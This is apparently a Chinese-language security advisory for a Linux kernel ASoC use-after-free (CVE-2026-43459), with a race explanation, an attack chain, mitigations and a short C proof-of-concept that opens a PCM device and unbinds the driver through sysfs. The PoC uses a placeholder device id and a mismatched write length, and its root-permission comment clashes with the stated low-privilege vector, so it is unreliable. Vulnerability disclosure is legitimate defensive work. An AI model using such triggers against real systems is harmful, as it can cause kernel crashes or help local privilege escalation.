CVE-2026-43459 Linux内核ASoC释放后重用漏洞

漏洞信息

漏洞编号

CVE-2026-43459

漏洞类型

释放后重用

CVSS评分

7.3 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Linux Kernel

漏洞概述

该漏洞存在于Linux内核的ALSA SoC核心组件中。当声卡在PCM流打开状态下被解绑时，由于工作队列处理逻辑存在缺陷，会导致释放后重用。具体表现为卸载过程中延迟工作在访问已释放的DAPM widgets，可能引发内核崩溃或权限提升。

技术细节

漏洞原理在于Linux内核ASoC子系统的资源释放时序错误。在声卡卸载流程中，snd_soc_unbind_card先刷新延迟工作，随后snd_card_disconnect_sync释放PCM文件句柄。此时，PCM关闭回调可能再次调度延迟工作。由于该调度发生在主刷新之后，且早于组件释放函数soc_remove_link_components，导致后续延迟工作执行时访问了已被释放的DAPM widgets内存。攻击者可通过打开音频设备并触发驱动卸载来利用此漏洞，导致内核UAF，进而可能实现本地权限提升或拒绝服务攻击。

攻击链分析

STEP 1

访问音频设备

攻击者打开并保持一个PCM音频流的打开状态。

STEP 2

触发解绑

攻击者触发声卡驱动的解绑操作（例如通过卸载模块或通过sysfs写入unbind）。

STEP 3

资源竞态

内核执行卸载流程，在释放PCM资源后，延迟工作队列在组件内存被释放前被调度。

STEP 4

释放后重用

延迟工作执行时访问已被释放的DAPM widgets，导致内核崩溃或潜在代码执行。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

/*
 * PoC Concept for CVE-2026-43459
 * This code attempts to trigger the race condition by
 * keeping a PCM stream open while unbinding the driver.
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>

int main() {
    // Attempt to open a PCM device (e.g., default or hw:0,0)
    int fd = open("/dev/snd/pcmC0D0p", O_RDWR);
    if (fd < 0) {
        perror("Failed to open PCM device");
        return 1;
    }

    printf("PCM device opened. Triggering unbind via sysfs...");

    // Trigger the unbind process (requires root/permissions)
    // This simulates the 'unbind' event mentioned in the CVE
    int sysfs_fd = open("/sys/bus/platform/drivers/soc-audio/unbind", O_WRONLY);
    if (sysfs_fd > 0) {
        write(sysfs_fd, "sound_device_id", 14);
        close(sysfs_fd);
    }

    // Keep the file open for a moment to allow the delayed work to race
    sleep(1);
    
    close(fd);
    return 0;
}

影响范围

Linux Kernel (Commit 231568afbc0c 之前版本)

Linux Kernel (Commit 317a9298c54b 之前版本)

防御指南

临时缓解措施

建议限制本地用户对系统音频设备的访问权限，并禁止在系统负载高或关键任务运行时动态卸载内核音频模块，以降低触发竞态条件的风险。